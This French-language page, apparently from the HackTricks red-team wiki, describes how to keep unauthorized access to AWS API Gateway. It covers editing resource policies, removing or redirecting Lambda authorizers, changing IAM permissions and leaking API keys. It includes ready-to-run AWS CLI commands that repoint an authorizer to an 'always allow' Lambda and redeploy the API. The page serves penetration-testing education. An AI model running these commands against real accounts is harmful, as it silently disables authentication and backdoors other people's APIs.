AWS - API Gateway Persistance

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

API Gateway

Pour plus d’informations, consultez :

AWS - API Gateway Enum

Politique de ressource

Modifiez la politique de ressource des API Gateway pour vous accorder l’accès.

Modifier Lambda Authorizers

Modifiez le code des lambda authorizers pour vous accorder l’accès à tous les endpoints.
Ou supprimez simplement l’utilisation de l’authorizer.

Si vous disposez des permissions control-plane pour créer/mettre à jour un authorizer (REST API: aws apigateway update-authorizer, HTTP API: aws apigatewayv2 update-authorizer), vous pouvez également rediriger l’authorizer vers une Lambda qui autorise toujours.

REST APIs (les changements nécessitent généralement un déploiement) :

REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"

APIs HTTP / apigatewayv2 (prennent souvent effet immédiatement) :

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

IAM Permissions

Si une ressource utilise un IAM authorizer vous pouvez vous donner l’accès en modifiant les permissions IAM.
Ou supprimez simplement l’utilisation de l’authorizer.

API Keys

Si des API keys sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.
Ou supprimez simplement l’utilisation des API keys.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks